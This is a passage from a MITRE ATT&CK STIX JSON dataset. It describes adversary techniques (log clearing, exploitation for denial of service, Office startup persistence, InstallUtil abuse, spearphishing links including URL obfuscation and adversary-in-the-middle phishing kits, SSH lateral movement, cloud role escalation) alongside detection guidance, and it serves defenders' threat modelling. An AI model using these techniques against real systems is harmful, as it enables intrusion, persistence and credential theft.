            "description": "Adversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. The majority of native system logging is stored under the <code>/var/log/</code> directory. Subfolders in this directory categorize logs by their related functions, such as:(Citation: Linux Logs)\n\n* <code>/var/log/messages:</code>: General and system-related messages\n* <code>/var/log/secure</code> or <code>/var/log/auth.log</code>: Authentication logs\n* <code>/var/log/utmp</code> or <code>/var/log/wtmp</code>: Login records\n* <code>/var/log/kern.log</code>: Kernel logs\n* <code>/var/log/cron.log</code>: Crond logs\n* <code>/var/log/maillog</code>: Mail server logs\n* <code>/var/log/httpd/</code>: Web server access and error logs\n",
            "kill_chain_phases": [
                {
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                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "File system monitoring may be used to detect improper deletion or modification of indicator files. Also monitor for suspicious processes interacting with log files.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File: File Deletion",
                "File: File Modification",
                "Command: Command Execution"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--2bee5ffb-7a7a-4119-b1f2-158151b19ac0",
            "created": "2020-02-20T15:37:27.052Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1499/004",
                    "external_id": "T1499.004"
                },
                {
                    "source_name": "Sucuri BIND9 August 2015",
                    "description": "Cid, D.. (2015, August 2). BIND9 \u2013 Denial of Service Exploit in the Wild. Retrieved April 26, 2019.",
                    "url": "https://blog.sucuri.net/2015/08/bind9-denial-of-service-exploit-in-the-wild.html"
                }
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            "object_marking_refs": [
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            "modified": "2025-04-15T21:50:12.334Z",
            "name": "Application or System Exploitation",
            "description": "Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.\n\nAdversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as [Data Destruction](https://attack.mitre.org/techniques/T1485), [Firmware Corruption](https://attack.mitre.org/techniques/T1495), [Service Stop](https://attack.mitre.org/techniques/T1489) etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems. ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack. Externally monitor the availability of services that may be targeted by an Endpoint DoS.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "IaaS",
                "Linux",
                "macOS"
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            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "Sensor Health: Host Status",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow"
            ],
            "x_mitre_impact_type": [
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1137",
                    "external_id": "T1137"
                },
                {
                    "source_name": "Microsoft Detect Outlook Forms",
                    "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.",
                    "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack"
                },
                {
                    "source_name": "TechNet O365 Outlook Rules",
                    "description": "Koeller, B.. (2018, February 21). Defending Against Rules and Forms Injection. Retrieved November 5, 2019.",
                    "url": "https://blogs.technet.microsoft.com/office365security/defending-against-rules-and-forms-injection/"
                },
                {
                    "source_name": "CrowdStrike Outlook Forms",
                    "description": "Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.",
                    "url": "https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746"
                },
                {
                    "source_name": "SensePost Ruler GitHub",
                    "description": "SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019.",
                    "url": "https://github.com/sensepost/ruler"
                },
                {
                    "source_name": "SensePost NotRuler",
                    "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.",
                    "url": "https://github.com/sensepost/notruler"
                },
                {
                    "source_name": "Outlook Today Home Page",
                    "description": "Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.",
                    "url": "https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T22:54:32.990Z",
            "name": "Office Application Startup",
            "description": "Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.\n\nA variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
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                "Microsoft Threat Intelligence Center (MSTIC)",
                "Sahar Shukrun",
                "Praetorian",
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                "Ricardo Dias"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.\n\nMany Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page)\n\nMicrosoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Office Suite"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Application Log: Application Log Content",
                "Windows Registry: Windows Registry Key Modification",
                "File: File Modification",
                "Module: Module Load",
                "Process: Process Creation",
                "Windows Registry: Windows Registry Key Creation",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--2cd950a6-16c4-404a-aa01-044322395107",
            "created": "2020-01-23T19:09:48.811Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1218/004",
                    "external_id": "T1218.004"
                },
                {
                    "source_name": "MSDN InstallUtil",
                    "description": "Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/50614e95.aspx"
                },
                {
                    "source_name": "LOLBAS Installutil",
                    "description": "LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Installutil/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T14:46:11.581Z",
            "name": "InstallUtil",
            "description": "Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: <code>C:\\Windows\\Microsoft.NET\\Framework\\v<version>\\InstallUtil.exe</code> and <code>C:\\Windows\\Microsoft.NET\\Framework64\\v<version>\\InstallUtil.exe</code>.\n\nInstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: LOLBAS Installutil)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Travis Smith, Tripwire",
                "Casey Smith"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "2.1",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230",
            "created": "2020-10-02T17:09:50.723Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1598/003",
                    "external_id": "T1598.003"
                },
                {
                    "source_name": "ACSC Email Spoofing",
                    "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"
                },
                {
                    "source_name": "TrendMictro Phishing",
                    "description": "Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved October 20, 2020.",
                    "url": "https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html"
                },
                {
                    "source_name": "IAPP",
                    "description": "IAPP. (n.d.). Retrieved March 5, 2024.",
                    "url": "https://iapp.org/resources/article/web-beacon/"
                },
                {
                    "source_name": "QR-campaign-energy-firm",
                    "description": "Jonathan Greig. (2023, August 16). Phishing campaign used QR codes to target large energy company. Retrieved November 27, 2023.",
                    "url": "https://therecord.media/phishing-campaign-used-qr-codes-to-target-energy-firm"
                },
                {
                    "source_name": "PCMag FakeLogin",
                    "description": "Kan, M. (2019, October 24). Hackers Try to Phish United Nations Staffers With Fake Login Pages. Retrieved October 20, 2020.",
                    "url": "https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages"
                },
                {
                    "source_name": "Microsoft Anti Spoofing",
                    "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.",
                    "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"
                },
                {
                    "source_name": "Mr. D0x BitB 2022",
                    "description": "mr.d0x. (2022, March 15). Browser In The Browser (BITB) Attack. Retrieved March 8, 2023.",
                    "url": "https://mrd0x.com/browser-in-the-browser-phishing-attack/"
                },
                {
                    "source_name": "Mandiant URL Obfuscation 2023",
                    "description": "Nick Simonian. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved August 4, 2023.",
                    "url": "https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse"
                },
                {
                    "source_name": "NIST Web Bug",
                    "description": "NIST Information Technology Laboratory. (n.d.). web bug. Retrieved March 22, 2023.",
                    "url": "https://csrc.nist.gov/glossary/term/web_bug"
                },
                {
                    "source_name": "Proofpoint Human Factor",
                    "description": "Proofpoint. (n.d.). The Human Factor 2023: Analyzing the cyber attack chain. Retrieved July 20, 2023.",
                    "url": "https://www.proofpoint.com/sites/default/files/threat-reports/pfpt-us-tr-human-factor-report.pdf"
                },
                {
                    "source_name": "Ryte Wiki",
                    "description": "Ryte Wiki. (n.d.). Retrieved November 17, 2024.",
                    "url": "https://en.ryte.com/wiki/Tracking_Pixel/"
                },
                {
                    "source_name": "qr-phish-agriculture",
                    "description": "Tim Bedard and Tyler Johnson. (2023, October 4). QR Code Scams & Phishing. Retrieved November 27, 2023.",
                    "url": "https://www.proofpoint.com/us/blog/email-and-cloud-threats/cybersecurity-stop-month-qr-code-phishing"
                },
                {
                    "source_name": "ZScaler BitB 2020",
                    "description": "ZScaler. (2020, February 11). Fake Sites Stealing Steam Credentials. Retrieved March 8, 2023.",
                    "url": "https://www.zscaler.com/blogs/security-research/fake-sites-stealing-steam-credentials"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T23:10:59.931Z",
            "name": "Spearphishing Link",
            "description": "Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an \u201c@\u201d symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)\n\nAdversaries may also embed \u201ctracking pixels\u201d, \"web bugs\", or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address.(Citation: NIST Web Bug) (Citation: Ryte Wiki) These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. (Citation: Ryte Wiki)(Citation: IAPP)\n\nAdversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods.(Citation: ZScaler BitB 2020)(Citation: Mr. D0x BitB 2022)\n\nAdversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)) in addition to their username and password. This may enable the adversary to then bypass MFA via [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004).(Citation: Proofpoint Human Factor)\n\nAdversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as \u201cquishing\u201d). These links may direct a victim to a credential phishing page.(Citation: QR-campaign-energy-firm) By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans.(Citation: qr-phish-agriculture) These QR codes may be scanned by or delivered directly  to a user\u2019s mobile device (i.e., [Phishing](https://attack.mitre.org/techniques/T1660)), which may be less secure in several relevant ways.(Citation: qr-phish-agriculture) For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile\u2019s smaller form factor.\n\nFrom the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Philip Winther",
                "Sebastian Salla, McAfee",
                "Menachem Goldstein",
                "Robert Simmons, @MalwareUtkonos",
                "Elpidoforos Maragkos, @emaragkos",
                "Joas Antonio dos Santos, @C0d3Cr4zy",
                "Austin Herrin",
                "Obsidian Security",
                "Sam Seabrook, Duke Energy"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nMonitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.6",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6",
            "created": "2020-02-11T18:27:15.774Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1021/004",
                    "external_id": "T1021.004"
                },
                {
                    "source_name": "Sygnia Abyss Locker 2025",
                    "description": "Abigail See, Zhongyuan (Aaron) Hau, Ren Jie Yow, Yoav Mazor, Omer Kidron, and Oren Biderman. (2025, February 4). The Anatomy of Abyss Locker Ransomware Attack. Retrieved April 4, 2025.",
                    "url": "https://www.sygnia.co/blog/abyss-locker-ransomware-attack-analysis/"
                },
                {
                    "source_name": "TrendMicro ESXI Ransomware",
                    "description": "Junestherry Dela Cruz. (2022, January 24). Analysis and Impact of LockBit Ransomware\u2019s First Linux and VMware ESXi Variant. Retrieved March 26, 2025.",
                    "url": "https://www.trendmicro.com/en_us/research/22/a/analysis-and-Impact-of-lockbit-ransomwares-first-linux-and-vmware-esxi-variant.html"
                },
                {
                    "source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing",
                    "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.",
                    "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"
                },
                {
                    "source_name": "Sygnia ESXi Ransomware 2025",
                    "description": "Zhongyuan Hau (Aaron), Ren Jie Yow, and Yoav Mazor. (2025, January 21). ESXi Ransomware Attacks: Stealthy Persistence through. Retrieved March 27, 2025.",
                    "url": "https://www.sygnia.co/blog/esxi-ransomware-ssh-tunneling-defense-strategies/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:17.607Z",
            "name": "SSH",
            "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.\n\nSSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. On ESXi, SSH can be enabled either directly on the host (e.g., via `vim-cmd hostsvc/enable_ssh`) or via vCenter.(Citation: Sygnia ESXi Ransomware 2025)(Citation: TrendMicro ESXI Ransomware)(Citation: Sygnia Abyss Locker 2025) The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user\u2019s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user (i.e., [SSH Authorized Keys](https://attack.mitre.org/techniques/T1098/004)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Janantha Marasinghe"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use of SSH may be legitimate depending on the environment and how it\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nOn macOS systems <code>log show --predicate 'process = \"sshd\"'</code> can be used to review incoming SSH connection attempts for suspicious activity. The command <code>log show --info --predicate 'process = \"ssh\" or eventMessage contains \"ssh\"'</code> can be used to review outgoing SSH connection activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nOn Linux systems SSH activity can be found in the logs located in <code>/var/log/auth.log</code> or <code>/var/log/secure</code> depending on the distro you are using.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "ESXi"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Logon Session: Logon Session Creation",
                "Process: Process Creation",
                "Network Traffic: Network Connection Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3",
            "created": "2020-01-19T16:59:45.362Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1098/003",
                    "external_id": "T1098.003"
                },
                {
                    "source_name": "Expel AWS Attacker",
                    "description": " Brian Bahtiarian, David Blanton, Britton Manahan and Kyle Pellett. (2022, April 5). Incident report: From CLI to console, chasing an attacker in AWS. Retrieved April 7, 2022.",
                    "url": "https://expel.com/blog/incident-report-from-cli-to-console-chasing-an-attacker-in-aws/"
                },
                {
                    "source_name": "Microsoft O365 Admin Roles",
                    "description": "Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.",
                    "url": "https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide"
                },
                {
                    "source_name": "AWS IAM Policies and Permissions",
                    "description": "AWS. (n.d.). Policies and permissions in IAM. Retrieved April 1, 2022.",
                    "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html"
                },
                {
                    "source_name": "Google Cloud IAM Policies",
                    "description": "Google Cloud. (2022, March 31). Understanding policies. Retrieved April 1, 2022.",
                    "url": "https://cloud.google.com/iam/docs/policies"
                },
                {
                    "source_name": "Invictus IR DangerDev 2024",
                    "description": "Invictus Incident Response. (2024, January 31). The curious case of DangerDev@protonmail.me. Retrieved March 19, 2024.",
                    "url": "https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me"
                },
                {
                    "source_name": "Microsoft Support O365 Add Another Admin, October 2019",
                    "description": "Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.",
                    "url": "https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d"
                },
                {
                    "source_name": "Rhino Security Labs AWS Privilege Escalation",
                    "description": "Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation \u2013 Methods and Mitigation. Retrieved May 27, 2022.",
                    "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T21:46:09.054Z",
            "name": "Additional Cloud Roles",
            "description": "An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)\n(Citation: Microsoft O365 Admin Roles) \n\nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.\n\nFor example, in AWS environments, an adversary with appropriate permissions may be able to use the <code>CreatePolicyVersion</code> API to define a new version of an IAM policy or the <code>AttachUserPolicy</code> API to attach an IAM policy with additional or distinct permissions to a compromised user account.(Citation: Rhino Security Labs AWS Privilege Escalation)\n\nIn some cases, adversaries may add roles to adversary-controlled accounts outside the victim cloud tenant. This allows these external accounts to perform actions inside the victim tenant without requiring the adversary to [Create Account](https://attack.mitre.org/techniques/T1136) or modify a victim-owned account.(Citation: Invictus IR DangerDev 2024)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Microsoft Threat Intelligence Center (MSTIC)",
                "Alex Parsons, Crowdstrike",
                "Chris Romano, Crowdstrike",
                "Wojciech Lesicki",
                "Pi\u00e0 Consigny, Tenable",
                "Cl\u00e9ment Notin, Tenable",
                "Praetorian",
                "Alex Soler, AttackIQ",
                "Arad Inbar, Fidelis Security",
                "Arun Seelagan, CISA"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Collect activity logs from IAM services and cloud administrator accounts to identify unusual activity in the assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins. ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "IaaS",
                "SaaS",
                "Office Suite",
                "Identity Provider"
            ],
            "x_mitre_version": "2.5",
            "x_mitre_data_sources": [
                "User Account: User Account Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad",
            "created": "2020-10-05T13:24:49.780Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1547/012",
                    "external_id": "T1547.012"
                },
                {
                    "source_name": "Microsoft AddPrintProcessor May 2018",
                    "description": "Microsoft. (2018, May 31). AddPrintProcessor function. Retrieved October 5, 2020.",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor"
                },
                {
                    "source_name": "Microsoft Intro Print Processors",
                    "description": "Microsoft. (2023, June 26). Introduction to print processors. Retrieved September 27, 2023.",
                    "url": "https://learn.microsoft.com/windows-hardware/drivers/print/introduction-to-print-processors"
                },
                {
                    "source_name": "ESET PipeMon May 2020",
                    "description": "Tartare, M. et al. (2020, May 21). No \u201cGame over\u201d for the Winnti Group. Retrieved August 24, 2020.",
                    "url": "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:17.860Z",
            "name": "Print Processors",
